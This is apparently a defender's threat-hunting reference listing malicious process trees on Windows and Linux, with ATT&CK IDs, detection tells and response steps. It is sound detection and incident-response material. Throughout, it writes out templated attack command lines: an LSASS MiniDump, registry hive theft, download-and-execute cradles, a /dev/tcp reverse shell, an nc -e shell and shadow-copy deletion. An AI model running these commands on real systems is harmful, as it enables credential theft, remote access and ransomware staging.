T1195.001 · T1059.006 · T1543.002 seen in fork-bomb-teampcp
malicious exfil windows

rclone (often renamed) pushing files to cloud storage

powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File <dir>\<name>.ps1
└─ C:\Windows\System32\<rc>.exe copy <source> <remote>:<bucket> --include-from include.txt --config <conf>

Tells

  • rclone flags (copy, --config, --include-from, --transfers) on any binary name.
  • rclone placed in System32 or a share under a short system-like name.
  • Large outbound to Backblaze/MEGA/S3-compatible endpoints.

Next

  • Recover rclone.conf (often resident in the MFT) for the destination and keys.
  • Measure what left: include list, file counts, proxy bytes.
  • Report the bucket to the provider.
T1567.002 · T1036.005 · T1119 seen in recruiter-hanoi-op, roasttoroot
malicious credential access windows

reg save of SAM and SYSTEM to disguised filenames

<elevated shell>
├─ reg.exe save HKLM\SAM C:\Users\<user>\<dir>\<looks-like-a-log>.LOG1
└─ reg.exe save HKLM\SYSTEM C:\Users\<user>\<dir>\<looks-like-a-log>.LOG2

Tells

  • reg save HKLM\SAM or HKLM\SECURITY from anything but a backup product.
  • Output names chosen to look like registry transaction logs.
  • Output in a user profile rather than a backup location.

Next

  • Recover the hive copies and check whether they were exfiltrated.
  • Reset local admin passwords (LAPS) on that host and anywhere it is reused.
  • Check how the user got SeBackupPrivilege or admin.
T1003.002 · T1036.005 seen in recruiter-hanoi-op
malicious defense evasion windows

RegAsm / RegSvcs loading a rogue assembly

<parent: cmd.exe / powershell.exe / wscript.exe>
└─ C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /U C:\Users\<user>\AppData\Roaming\<random>.dll
--- or ---
└─ RegSvcs.exe C:\Users\<user>\AppData\Local\Temp\<random>.dll
   └─ (network) <ip>:<port>

Tells

  • Assembly from a user path; legit COM registration targets Program Files.
  • RegAsm/RegSvcs holding a long-lived outbound connection = injected RAT (very common for commodity stealers and RATs).
  • Sometimes RegAsm runs with no arguments at all: a hollowed process.

Next

  • Check memory/injection events targeting RegAsm/RegSvcs and the process that created it.
  • Hash the assembly and pull the C2 address.
T1218.009
malicious defense evasion windows

RegSvcs.exe or vbc.exe launched by a script chain and hollowed

powershell.exe                                   (fileless loader)
└─ C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe       (hollowed, beacons)
cmd.exe
└─ WScript.exe "C:\Windows\Temp\<random>.vbs"
   └─ powershell.exe -ExecutionPolicy Bypass
      └─ wscript.exe //B //NOLOGO "<AppData\Local\Temp>\<random>"
         └─ C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe   (hollowed browser stealer)

Tells

  • .NET framework tools (RegSvcs, RegAsm, vbc, AppLaunch, InstallUtil) with a script-host parent.
  • These binaries making outbound connections or writing browser data to Temp.
  • No command-line arguments on a tool that normally needs them.

Next

  • Dump the process memory to recover the injected payload.
  • Check the staging folder in Temp for collected browser data.
  • Find the VBS/PowerShell that launched it and its delivery.
T1055.012 · T1218.009 · T1059.005 seen in dumpster, xlmrat
malicious lolbin windows

regsvr32 /i:http scrobj.dll (Squiblydoo)

<parent: cmd.exe / wscript.exe / WINWORD.EXE>
└─ regsvr32.exe /s /n /u /i:http://<ip>/<file>.sct scrobj.dll
   └─ powershell.exe / cmd.exe / <random>.exe

Tells

  • /i:<url> together with scrobj.dll fetches and runs a COM scriptlet (.sct). No legit use.
  • /s /n /u is the standard silent, no-DllRegisterServer form.
  • regsvr32 making an outbound HTTP connection is a tell on its own.

Next

  • Grab the URL and any network data; hunt it fleetwide.
  • Check children of regsvr32 for the stage-two payload.
  • Walk up to the parent to find the delivery vector.
T1218.010 · T1105
malicious execution windows

Renamed AutoIt or AutoHotkey interpreter running a dropped script

explorer.exe
└─ <Downloads>\<cracked software>.exe
   └─ cmd.exe /c ... copy AutoIt3.exe <Word>.com
      └─ <Word>.com <letter>                       (AutoIt script)
wscript.exe \\<ip>\<share>\<name>.vbs
└─ powershell.exe Invoke-WebRequest http://<ip>/... -OutFile ...
   └─ AutoHotkey.exe <name>.ahk

Tells

  • A .com file that is really AutoIt3.exe (OriginalFileName).
  • AutoHotkey.exe or AutoIt in a user folder next to a fresh script file.
  • Script host launched from a network share.

Next

  • Extract the script (autoit-ripper for compiled AutoIt) and read the payload stage.
  • Find the cracked-software download or the share path.
  • Check for injection into a legit process from the interpreter.
T1059.010 · T1036.003 · T1059.005 seen in camouflage, malicious-autoit, takedown
malicious execution windows

Renamed SharpHound or AdFind collecting the domain

<beacon>
└─ cmd.exe /C .\<renamed>.exe --collectionmethods All --outputdirectory C:\Users\<user>\<dir> --zipfilename <name>
<beacon>
└─ C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Themes\hh.exe -c All --outputdirectory %TEMP% --zippassword "<pw>"
<beacon>
└─ cmd.exe /c <dir>\<name>.bat
   └─ AdFind.exe -f "(objectCategory=person)" name mail title

Tells

  • -c All / --collectionmethods All / --zipfilename / --zippassword give SharpHound away whatever it is called.
  • OriginalFileName in Sysmon 1 still says SharpHound.exe after a rename.
  • LDAP-heavy burst from a workstation that normally does none.

Next

  • Find and delete the output zip before it leaves; check for exfil of it.
  • Hunt OriginalFileName for SharpHound, AdFind, Certify across the estate.
  • Expect ADCS abuse next if certutil -v -template or Certify shows up.
T1087.002 · T1069.002 · T1482 · T1036.005 seen in ghostconnect-ta583, maromafix-falldown-ransomhub, rhadamanthys, stolen-time-hiddentear
malicious credential access windows

rundll32 comsvcs.dll MiniDump of LSASS

<parent: cmd.exe / powershell.exe / wmiprvse.exe / services.exe>
└─ rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_pid> C:\Windows\Temp\<random>.dmp full

Tells

  • comsvcs.dll + MiniDump + a PID + full = LSASS memory dump. There is no benign version of this.
  • Often obfuscated: #24 instead of MiniDump, renamed copies of comsvcs, odd casing.
  • Needs admin/SYSTEM, so the account is already compromised.

Next

  • ESCALATE now: treat all credentials on that host as stolen.
  • Find the .dmp file and whether it was copied off the host (SMB, archive, upload).
  • Trace how the attacker got admin and where else that account logged in.
T1003.001 · T1218.011
malicious lolbin windows

rundll32 javascript: / url.dll proxy execution

<parent: cmd.exe / Run key / scheduled task>
└─ rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://<ip>/<file>")
--- or ---
└─ rundll32.exe url.dll,OpenURL C:\Users\<user>\AppData\Local\Temp\<file>.hta
└─ rundll32.exe url.dll,FileProtocolHandler <path-or-url>
   └─ mshta.exe / <random>.exe

Tells

  • javascript: and mshtml,RunHTMLApplication in a rundll32 line = Poweliks-style fileless execution.
  • url.dll,OpenURL / FileProtocolHandler launching an .hta, .exe or remote URL hides the real program behind rundll32.
  • Benign url.dll use opens an http page in the browser, with the browser as the child.

Next

  • Identify the actual child and its command line.
  • Check registry Run keys and tasks for the same string (persistence).
  • Hunt the URL or script host fleetwide.
T1218.011 · T1059.007
malicious lolbin windows

rundll32 loading a DLL from a user-writable path with an odd export

<cmd.exe | powershell.exe | wscript.exe | Run key | scheduled task>
└─ rundll32.exe C:\Users\<user>\(Music|AppData\Roaming|AppData\Local\Temp)\<random>.dll,<export>
      exports seen: Start, StartW, PrintUIEntry, entry, N115
   rundll32.exe C:\Users\<user>\AppData\Local\Temp\<name>.db,<export>     (renamed payload extension)

Tells

  • Real rundll32 work loads DLLs from System32 with known exports; user profile paths are the tell.
  • Export names borrowed from Windows DLLs (PrintUIEntry) on a non-Windows DLL.
  • Non-DLL extensions (.db, .dat, .png) passed to rundll32.

Next

  • Hash the DLL and check signer; look at its network connections and injection (Sysmon 8).
  • Find what registered it: Run key value, scheduled task, or the parent script.
  • Hunt the same DLL path pattern across hosts.
T1218.011 · T1547.001 · T1053.005 seen in poisoned-pytorch, qbot, rhadamanthys, stolen-time-hiddentear, dream-job-1, teamwork
malicious persistence windows

sc create with an odd binPath

<parent: cmd.exe / powershell.exe>
└─ sc.exe \\<host> create <random> binPath= "cmd.exe /c <command>" start= auto
└─ sc.exe start <random>
   (on target)
   services.exe
   └─ cmd.exe /c <command>

Tells

  • binPath is a shell, script host, powershell -enc, or a binary in a user path.
  • Random or impersonating service names; created and started then deleted quickly (PsExec/Impacket-style).
  • \\<host> = remote service creation (lateral movement).

Next

  • Check event 7045 (service install) on the target for the full binPath.
  • Find the account and source host that created it.
  • Look for the same service name on other hosts.
T1543.003 · T1569.002
malicious persistence windows

Scheduled task → wscript .vbs → portable pythonw.exe running a .pyw

svchost.exe -k netsvcs -p -s Schedule
└─ wscript.exe "<AppData\Roaming>\<helper-name>\<name>.vbs"
   └─ <AppData\Roaming>\<helper-name>\pythonw.exe <name>.pyw      (PyArmor-obfuscated stealer)

Tells

  • A full portable Python install in AppData with a helper-sounding folder name.
  • pythonw.exe (no console) launched by wscript.exe on a short repeating trigger.
  • Task created within a couple of minutes of an LNK being opened.

Next

  • Remove the task and the folder; check C2 polling endpoints in proxy logs.
  • Treat browser data and files uploaded via the task loop as exfiltrated.
  • Find the delivering LNK/archive.
T1053.005 · T1059.005 · T1059.006 seen in poisoned-aid
malicious persistence windows

Scheduled task launching a renamed XMRig every minute

powershell.exe (stager)
└─ schtasks.exe /create /F /sc minute /mo 1 /tn "<browser-update-like>" /tr "<AppData\Roaming>\<name>.exe --donate-level 1 -o <pool>:<port> -u <wallet>"
svchost.exe -k netsvcs -p -s Schedule
└─ <AppData\Roaming>\<name>.exe --donate-level 1 -o <pool>:<port> ...

Tells

  • --donate-level, -o <pool>, -u <wallet> are XMRig flags whatever the binary name.
  • Two copies (AppData and Temp) each with its own task.
  • High CPU plus a 1-minute trigger.

Next

  • Remove both tasks and both copies.
  • Block the pool domains/IPs; check proxy logs for other miners.
  • Find how the stager arrived; miners often ride on a broader compromise.
T1053.005 · T1496 · T1036.005 seen in crypto
malicious persistence windows

schtasks /create pointing at a user-writable path or LOLBin

cmd.exe | powershell.exe | WmiPrvSE.exe → cmd.exe
└─ schtasks.exe /create /tn "<legit-sounding name>" /sc onlogon|onstart|hourly|minute /mo <n> [/ru SYSTEM /rl HIGHEST] /tr "<action>"
      actions seen: C:\Windows\Temp\svchost.exe
                    C:\Users\Public\<file>.exe
                    rundll32.exe C:\Users\Public\Music\<random>.dll,Start
                    powershell -w hidden -ep bypass -File C:\Users\<user>\AppData\Local\<name>.ps1
                    C:\Windows\system32\<name>.exe   (task name with .sys or .exe suffix)
svchost.exe -k netsvcs -p -s Schedule
└─ <task action>

Tells

  • Task action in Temp, Public, AppData or ProgramData.
  • Names borrowing vendor products (“Updater”, “SystemUpdate”) or odd suffixes like .sys/.exe.
  • Created within minutes of the first execution on the host.

Next

  • schtasks /query /tn <name> /v /fo list and check the XML in C:\Windows\System32\Tasks.
  • Remove the task and the payload together; check for a second task as backup.
  • Hunt the same task name across hosts (4698).
malicious execution windows

Script host mapping a share and installing a remote MSI

explorer.exe
└─ wscript.exe "<Temp>\<zip>\<lure>.js"
   ├─ net.exe use \\<host>@80\<share>
   ├─ msiexec.exe /i \\<host>@80\<share>\<name>.msi /qn     (or http://<domain>/<name>.msi)
   └─ (copies) C:\Windows\System32\curl.exe → %TEMP%\<random>.exe
services.exe
└─ msiexec.exe /V
   └─ MsiExec.exe -Embedding <hex>      → loads loader DLL (Matanbuchus) → drops stealer EXE

Tells

  • wscript/cscript spawning net use or msiexec is short and high-signal.
  • msiexec /i pointing at a UNC path with @80 (WebDAV) or an internet URL.
  • A copy of a signed system binary (curl.exe) renamed into %TEMP%.

Next

  • Get the MSI from the share/URL and list its custom actions and embedded CAB.
  • Look for the DLL the MSI drops and the follow-on stealer (Danabot-style).
  • Hunt the same .js name and WebDAV host across the fleet.
T1059.007 · T1218.007 · T1105 seen in mbuchus, obfuscated-javascript
malicious persistence linux

Service account process creating a local Linux user with sudo and SSH key

splunkd (service user)
└─ sh -c <payload from an uploaded .xsl>
   ├─ adduser <name>
   ├─ chpasswd
   ├─ usermod -aG sudo <name>
   └─ (writes) /home/<name>/.ssh/authorized_keys
sshd
└─ Accepted publickey for <name> from <ip>          (seconds later)

Tells

  • useradd/adduser/chpasswd with a service account as the parent.
  • A sudo-group change and authorized_keys write in the same burst.
  • A new user named like a service (nginx, <app>-io).

Next

  • Remove the user and key; kill its sessions.
  • Find the upload/RCE that ran the payload and patch it.
  • Check sudo logs for what the new account did.
T1136.001 · T1098.004 · T1190 seen in fragility
malicious execution windows

Signed Electron app dropping and running cmd.exe from Documents

<nsis installer>.exe
└─ <AppData\Local\Programs>\<update-tool>\<app>.exe       (Electron; obfuscated app.asar)
   └─ %USERPROFILE%\Documents\cmd.exe ...

Tells

  • cmd.exe running from anywhere but System32/SysWOW64.
  • An Electron app from an NSIS installer posing as a Windows update tool.
  • The binary was written by the Electron process just before running.

Next

  • Extract app.asar and read app.js for the C2.
  • Check what the replacement cmd.exe actually is (hash, signer).
  • Look for persistence (Run key, Startup shortcut) for the Electron app.
T1036.005 · T1105 · T1059.007 seen in subatomic
malicious defense evasion windows

spoolsv.exe spawning WerFault, cmd or vssadmin

spoolsv.exe
├─ WerFault.exe                              (spooler crashing after a remote driver DLL load: PrintNightmare)
└─ cmd.exe /c vssadmin delete shadows /all /quiet     (beacon injected into spoolsv)

Tells

  • The print spooler crashing, or spawning shells, at all.
  • New DLLs under C:\Windows\System32\spool\drivers\x64\3\.
  • SYSTEM-context commands with spoolsv as parent.

Next

  • Check spool driver folder for new DLLs and the SMB source they came from.
  • Disable the spooler on servers that do not print.
  • Treat as SYSTEM compromise of that host.
T1068 · T1055 · T1547.012 seen in print, stolen-time-hiddentear
malicious execution windows

sqlservr.exe → cmd (xp_cmdshell)

sqlservr.exe
└─ cmd.exe /c whoami
└─ cmd.exe /c powershell -c "iwr http://<ip>/<file> -OutFile C:\Users\Public\<random>.exe"
   └─ <random>.exe

Tells

  • xp_cmdshell runs cmd.exe as a child of sqlservr.exe. Recon, downloads or encoded PowerShell = attacker with SQL sysadmin.
  • Often after brute-forced sa or an SQL injection in an app using a high-privileged login.
  • Some legacy jobs do use xp_cmdshell (file copies, bcp): check for a known, repeating pattern.

Next

  • Check SQL logins (failed then successful sa) and the source IP.
  • See whether xp_cmdshell was just enabled (sp_configure in SQL logs).
  • Follow the child payload.
T1505.001 · T1059.003
malicious persistence linux

SSH login → sudo curl of a Linux persistence toolkit

sshd: <user> [priv]
└─ bash
   ├─ sudo cat /etc/shadow
   └─ sudo /usr/bin/curl https://raw.githubusercontent.com/<repo>/linper.sh
telnetd / login
└─ sh
   └─ wget https://raw.githubusercontent.com/<repo>/linper.sh

Tells

  • Successful login right after a dense burst of failed passwords from the same IP.
  • First commands read /etc/shadow and fetch tooling from GitHub.
  • New local user created in the same session.

Next

  • Map every persistence location the toolkit writes (cron, systemd, rc files, keys).
  • Block the source IP; check other hosts for logins from it.
  • Kill sessions, then rotate the compromised account.
T1110.001 · T1078 · T1105 · T1548.003 seen in brutus, luckyshot, telly
malicious execution linux

sshd → bash → base64 -d | sh

sshd: <user> [priv]
└─ sshd: <user>@notty
   └─ bash -c "echo <base64> | base64 -d | sh"
      └─ sh
         └─ curl / wget http://<ip>/<file> -O /tmp/<random>; chmod +x /tmp/<random>; /tmp/<random>

Tells

  • notty sessions running one-shot commands = automated access (bots, stolen keys, brute-forced passwords).
  • base64 -d | sh, chmod +x in /tmp or /dev/shm, history -c, killing other miners.
  • Typical of SSH-brute botnets and miners.

Next

  • Check auth logs: source IP, auth method (password or key), prior failed attempts.
  • Decode the blob and pull the downloaded binary.
  • Look for persistence: ~/.ssh/authorized_keys, cron, systemd units.
T1021.004 · T1140 · T1059.004
malicious defense evasion windows

Stealer spawning cmd timeout + del to delete itself

<stealer>.exe
└─ cmd.exe /c timeout /t 5 & del /f /q "<path>\<stealer>.exe" & exit

Tells

  • timeout followed by del of the parent image path.
  • Happens right after a burst of browser DB reads and an HTTP POST.

Next

  • The binary is gone: recover it from the dropping process, browser cache or EDR quarantine.
  • Assume browser credentials, cookies and wallets were stolen; reset and revoke sessions.
T1070.004 seen in oski
malicious defense evasion windows

System process name running from Downloads, Temp or AppData

explorer.exe
└─ C:\Users\<user>\Downloads\svchost.exe          (real one: System32, parent services.exe)
   └─ cmd.exe                                      (operator shell)
lookalikes seen: csrsss.exe, lssass.exe (%TEMP%), swchost.exe, WmiPrvSE.exe (AppData\Roaming),
                 GoogleUpdate.exe run by a normal user, ChromeSetup.exe still running from Downloads

Tells

  • Name is right, path or parent is wrong: svchost.exe must be in System32 under services.exe.
  • One-letter-off names (csrsss, lssass, swchost, svch0st).
  • An “installer” that keeps running and holds network connections.

Next

  • Compare image path, parent and signer before anything else.
  • Check the child processes: a cmd.exe child is an interactive shell.
  • Pull the binary from disk or memory and check first-seen on VirusTotal.
T1036.005 · T1204.002 · T1059.003 seen in amadey, ramnit, splunkit, xworm, recollection, rogueone
malicious persistence linux

systemd running a look-alike unit that holds a reverse shell or Python loop

systemd (PID 1)
└─ /bin/bash <path>/<script>.sh            (unit: systemd-network<x>.service / sysperf.service, User=root)
   └─ bash -i >& /dev/tcp/<ip>/<port> 0>&1 (loop)
systemd --user
└─ python3 ~/.config/<name>/<name>.py      (unit named after a monitoring tool, Restart=always)

Tells

  • Unit names one letter off real ones (systemd-networkm vs systemd-networkd).
  • Units that no package owns, especially under ~/.config/systemd/user/.
  • A root process under PID 1 holding an outbound socket.

Next

  • systemctl cat <unit> and dpkg -S/rpm -qf the ExecStart path.
  • Check the other autostarts too: cron, .bashrc, .profile, XDG autostart, kernel modules.
  • Kill the loop process after disabling the unit or it respawns.
T1543.002 · T1036.004 · T1059.004 seen in callmeonthechain-etherrat, containerbreak, fork-bomb-teampcp, luckyshot
malicious persistence windows

Unknown binary or shell adding a local admin with net user /add

<unknown>.exe (elevated) | cmd.exe
├─ net.exe user <name> <password> /add
│  └─ net1.exe user <name> <password> /add
└─ net.exe localgroup administrators <name> /add

Tells

  • net user /add from anything other than an admin tool or deployment.
  • Account names like testuser, support, or a service-looking name.
  • 4720 may be missing; 4688 command line still shows it.

Next

  • Disable the account and check 4624 for its use.
  • Find the binary that created it and what else it did (Run keys, tasks).
  • Check the account was not hidden (SpecialAccounts\UserList).
T1136.001 · T1098 seen in mitsu, whisper
malicious execution windows

Unsigned or injected process fanning out whoami / net / nltest

<loader>.exe | injected cmd.exe | rundll32.exe
├─ cmd.exe /C whoami /all
├─ cmd.exe /C net group "Domain Admins" /domain
├─ cmd.exe /C nltest /dclist:<domain>
├─ cmd.exe /C nltest /domain_trusts
├─ cmd.exe /C systeminfo
└─ cmd.exe /C ipconfig /all
Sliver shell variant:
cmd.exe (implant)
└─ powershell.exe -NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8
   ├─ nltest.exe /domain_trusts
   ├─ net.exe group "Domain Admins"
   └─ cmdkey.exe /list

Tells

  • Five or more recon commands from one parent within a minute or two.
  • Parent is not a management agent: random EXE, rundll32, notepad, a renamed tool.
  • powershell -NoExit -Command [Console]::OutputEncoding=...UTF8 is the Sliver interactive shell.

Next

  • Walk up to the root of the parent chain to find the initial payload.
  • Expect AD collection next (SharpHound/AdFind); check for it.
  • Check where else the same parent hash ran.
T1033 · T1069.002 · T1482 · T1082 · T1016 · T1059.001 seen in ghostconnect-ta583, poisoned-pytorch, rhadamanthys, yourehired, heartbreaker, jinkies
malicious execution windows

VS Code or its language server spawning a hidden shell to the internet

Code.exe
└─ python.exe <...>\jedi-language-server (language server)
   └─ powershell.exe -NoProfile -WindowStyle Hidden -Command "IEX ((new-object net.webclient).downloadstring('http://<ip>:80/<path>/'))"
Code.exe (extension host)
└─ cmd.exe                                     (stdin/stdout piped to a TCP socket to <ip>:<port>)

Tells

  • A hidden PowerShell with IEX ... downloadstring under the editor tree.
  • cmd.exe child of Code.exe with an outbound connection and no terminal tab open.
  • Recently installed extension or poisoned package in the workspace (installedTimestamp in package.json).

Next

  • Identify the extension or Python package that ran it (extension folder, venv site-packages).
  • Check follow-on persistence: Run keys with rundll32, new scheduled tasks.
  • Benign-check against the VS Code noise tree: local scripts, no URL, visible terminal.
T1195.001 · T1059.001 · T1059.003 seen in poisoned-pytorch, strange-martketplace
malicious defense evasion windows

vssadmin delete shadows and wevtutil cl before encryption

spoolsv.exe (injected beacon) | powershell.exe | ransomware.exe
├─ cmd.exe /c vssadmin delete shadows /all /quiet
├─ vssadmin.exe delete shadows /for=C: /quiet
├─ cmd.exe /c wevtutil cl Security
├─ cmd.exe /c wevtutil cl System
└─ cmd.exe /c wevtutil cl Application
WmiPrvSE.exe
└─ wevtutil.exe / Win32_NTEventlogFile.ClearEventLog()
later:
<beacon>
└─ C:\Windows\Temp\<ransom>.exe                 (on many hosts at once)

Tells

  • vssadmin delete shadows from anything but backup software: minutes before encryption.
  • Log clearing (1102/104) clustered with it.
  • The same commands on several hosts within seconds = remote execution through existing beacons.

Next

  • Isolate now; this is the last window before encryption.
  • Find the parent beacon and the account it runs as; disable that account domain-wide.
  • Protect backups (Veeam etc.) whose credentials may already be taken.
T1490 · T1070.001 · T1486 seen in poisoned-pytorch, raasunfold, sigmapredator, spider, stolen-time-hiddentear
malicious c2 windows

Windows ssh.exe reverse tunnel

<parent: cmd.exe / powershell.exe / scheduled task>
└─ ssh.exe -N -R <port>:127.0.0.1:3389 <user>@<ip> -p 443 -o StrictHostKeyChecking=no

Tells

  • -R exposes a local port (RDP 3389, SMB 445, SOCKS) on an outside host: a way in that bypasses the firewall.
  • -N (no shell), StrictHostKeyChecking=no, odd ports like 443/22 to a raw IP, launched by a task.
  • Admins using OpenSSH client usually connect out to known servers with -L or plain login, from an interactive shell.

Next

  • Pull the destination IP, the account and any private key path (-i).
  • Check for inbound RDP/SMB sessions to localhost afterwards.
  • Check for persistence keeping the tunnel up.
T1572 · T1021.004
malicious initial access windows

Windows web server worker spawning an EXE or shell (w3wp, httpd)

w3wp.exe -ap "<AppPool>"
└─ <uploaded>.exe                                (via an .aspx web shell; reverse shell to <ip>:<port>)
      later copied to C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\<name>.exe
httpd.exe / php-cgi.exe
└─ powershell.exe <reverse shell to <ip>:<port>>
   ├─ powershell iwr https://github.com/<repo>/GodPotato-NET4.exe -OutFile <name>.exe
   └─ <renamed>.exe -cmd "<renamed nc>.exe <ip> <port> -e cmd"

Tells

  • A web server worker with any process child is the alert.
  • A packed (UPX/high entropy) EXE written by the worker into the web root or Startup folder.
  • Potato-style privesc tooling pulled right after.

Next

  • Find the web shell file in the web root and the request that hit it (IIS/Apache logs).
  • Check how it was uploaded (SMB write, vulnerable upload endpoint).
  • Remove the Startup persistence and rotate the app pool identity.
T1190 · T1505.003 · T1059.001 · T1547.001 seen in latent, lockdown, packet-puzzle
malicious persistence windows

winlogon launching cmd via utilman/sethc, or a screensaver EXE from Temp

winlogon.exe                                   (logon screen)
└─ cmd.exe C:\Windows\system32\utilman.exe      (IFEO utilman.exe\Debugger = cmd.exe → SYSTEM shell)
winlogon.exe
└─ sethc.exe                                    (replaced binary)
winlogon.exe
└─ C:\Windows\Temp\<name>.exe /s                (HKCU\Control Panel\Desktop\SCRNSAVE.EXE)

Tells

  • winlogon.exe should start userinit, LogonUI, fontdrvhost, dwm: not cmd.exe.
  • IFEO Debugger value on utilman/sethc/osk/narrator.
  • Screensaver path outside System32 (.exe in Temp).

Next

  • Check IFEO keys and the hash of sethc/utilman against known good.
  • Read SCRNSAVE.EXE for every user hive.
  • Find how the key was written (reg.exe parent, remote registry).
T1546.008 · T1546.012 · T1546.002 seen in gothicpanda1, hammer-in-the-vault, marksman
malicious lolbin windows

wmic /format:xsl (Squiblytwo)

<parent: cmd.exe / wscript.exe>
└─ wmic.exe os get /format:"http://<ip>/<file>.xsl"
   └─ powershell.exe / cmd.exe / <random>.exe

Tells

  • /format: pointing at a URL or a .xsl in a user path loads XSL with embedded script. No legit use.
  • wmic making an outbound HTTP connection.
  • The get query before it (os get, process list) is just filler.

Next

  • Pull the XSL URL or file and the child process line.
  • Hunt the URL/domain and the same command line fleetwide.
T1220 · T1047
malicious initial access windows

Word spawning msdt.exe with ms-msdt PCWDiagnostic (Follina)

WINWORD.EXE "<lure>.docx"
└─ msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+...+'<base64>'...))))i/../../../../../../Windows/System32/mpsigstub.exe"
svchost.exe -k DcomLaunch
└─ sdiagnhost.exe
   └─ powershell.exe / cmd.exe /c <payload>

Tells

  • Word never legitimately launches msdt.exe.
  • ms-msdt: with IT_BrowseForFile=$(...) is command injection into the troubleshooter, no macro needed.
  • The document only references a remote HTML template: macro-blocking does not stop it.

Next

  • Decode the base64 inside the msdt arguments; it is the actual payload.
  • Check sdiagnhost.exe children around the same second.
  • Pull the docx relationships (word/_rels/document.xml.rels) for the external template URL.
T1566.001 · T1203 · T1218 · T1059.001 seen in follina
malicious initial access windows

Word spawning rundll32 that beacons out, then cmd whoami

explorer.exe
└─ WINWORD.EXE "<Downloads>\<lure>.docx"
   └─ C:\Windows\SysWOW64\rundll32.exe          (outbound TCP 80 to <ip>)
      └─ cmd.exe /c whoami

Tells

  • WINWORD.EXE as the direct parent of rundll32.exe has no legitimate workflow.
  • rundll32 with no DLL argument, or making HTTP connections itself, is a beacon host.
  • whoami from that rundll32 a few minutes later means an operator is on the box.

Next

  • Pull network events for the rundll32 PID and block the destination.
  • Look for later rundll32 instances at High integrity or under a different account (privilege change).
  • Find the document source: Office Recent LNKs, browser downloads, Zone.Identifier.
T1566.001 · T1204.002 · T1218.011 · T1033 seen in rhadamanthys
malicious execution windows

wscript running a downloaded .js → PowerShell → EXE in Public/Temp

explorer.exe
└─ wscript.exe "<Downloads>\<invoice-like>.js"
   └─ powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\<dir>\<random>_<timestamp>.ps1"
      │  (or: powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command <cradle>)
      └─ C:\Users\Public\<dir>\swchost.exe | %TEMP%\<guid>.exe

Tells

  • wscript.exe executing a .js from Downloads or an email attachment is user-clicked script.
  • PowerShell child with -ExecutionPolicy Bypass and a randomly named script in C:\Users\Public.
  • Final EXE with a near-miss system name (swchost.exe) or a GUID name in %TEMP%.

Next

  • Grab the .js and the .ps1 from disk or 4104 script blocks to get the download URLs.
  • Look for image or .txt downloads that turn into PEs (steganography or base64 carriers).
  • Check the final EXE for RAT config (Quasar/AsyncRAT) and its C2.
T1204.002 · T1059.007 · T1059.001 · T1105 · T1036.005 seen in danabot, thereport
suspicious lolbin windows

bitsadmin /transfer downloading a script or payload

powershell.exe
└─ cmd.exe /c bitsadmin /transfer <job> /download /priority normal "https://<host>/<path>/<name>.ps1" "C:\Windows\Temp\<name>.ps1"

Tells

  • bitsadmin /transfer or /addfile with an external URL.
  • Destination in C:\Windows\Temp or a user folder with a module-like name.
  • Parent is PowerShell or a script host, not a software deployment agent.

Next

  • Baseline legit parents first (some updaters use BITS).
  • Grab the downloaded file and check BITS job history (Microsoft-Windows-Bits-Client/Operational).
  • Look at what runs the file next.
T1197 · T1105 seen in dumpster, learn-sigma
suspicious defense evasion windows

conhost --headless hiding a child

<parent: explorer.exe (Run key) / scheduled task / wscript.exe>
└─ conhost.exe --headless powershell.exe -c "<command>"
   └─ powershell.exe -c "<command>"

Tells

  • conhost.exe as a launcher with --headless runs a console program with no window.
  • Normal conhost runs as a child of console apps with 0xffffffff -ForceV1, never with a command after it.
  • Seen in ClickFix and persistence chains to hide PowerShell.

Next

  • Judge the grandchild command as you would any hidden PowerShell.
  • Check what launched conhost (Run key, task, script).
T1564.003 · T1202
suspicious c2 windows

curl.exe / tar.exe download and unpack on Windows

<parent: cmd.exe / powershell.exe / explorer.exe (Run dialog)>
└─ curl.exe -s -k -o C:\Users\<user>\AppData\Local\Temp\<random>.zip http://<ip>/<file>
└─ tar.exe -xf C:\Users\<user>\AppData\Local\Temp\<random>.zip -C C:\Users\<user>\AppData\Local\<folder>
   └─ <folder>\<signed app>.exe   (often with a side-loaded DLL)

Tells

  • Windows ships curl.exe and tar.exe in System32. Users almost never call them; developers and IT sometimes do.
  • -k (ignore TLS), -s, raw IP or fresh domain, output to Temp/AppData.
  • An extracted folder that holds a signed exe plus an odd DLL = DLL side-loading setup.

Next

  • Check user context: is this a dev or IT admin running a script, or a regular user?
  • Pull the URL and hash the archive contents.
  • See what ran from the extracted folder.
T1105 · T1140
suspicious execution windows

Electron app (Discord/Slack/Teams) spawning odd children

Discord.exe / slack.exe / <electron app>.exe
└─ cmd.exe /c powershell -w hidden -enc <base64>
└─ <random>.exe from AppData\Local\Temp
   (file write) <app>\resources\app.asar or ...\discord_desktop_core\index.js modified

Tells

  • Electron apps normally spawn copies of themselves (--type=renderer, --type=gpu-process, --type=utility), their updater (Update.exe) and crash handlers.
  • A shell, script host or exe from Temp under them means either a malicious lure link/file or tampered app code (Discord injection stealers modify index.js).
  • Check the app’s own path: a fake Electron app running from Downloads or AppData\Local\Temp is just malware with Electron inside.

Next

  • Check file modifications to the app’s resources / app.asar / index.js around the time.
  • Check what the child did (download, credential access) and whether the app is in its normal install path and signed.
T1218.015 · T1059.001
suspicious defense evasion windows

expand / extrac32 staging payloads

<parent: cmd.exe / wscript.exe>
└─ expand.exe \\<ip>\<share>\<file>.cab C:\Users\<user>\AppData\Local\Temp\<random>.exe
└─ extrac32.exe /Y /C \\<ip>\<share>\<file> C:\Users\Public\<random>.exe
   └─ (next) <random>.exe

Tells

  • Both copy and extract CAB files, and can copy from a remote UNC path, so they double as a downloader.
  • Remote UNC source (WebDAV or SMB to an external IP) and output to a user path.
  • Legit use comes from installers and Windows servicing, not from script hosts.

Next

  • Pull the source path and hash the output.
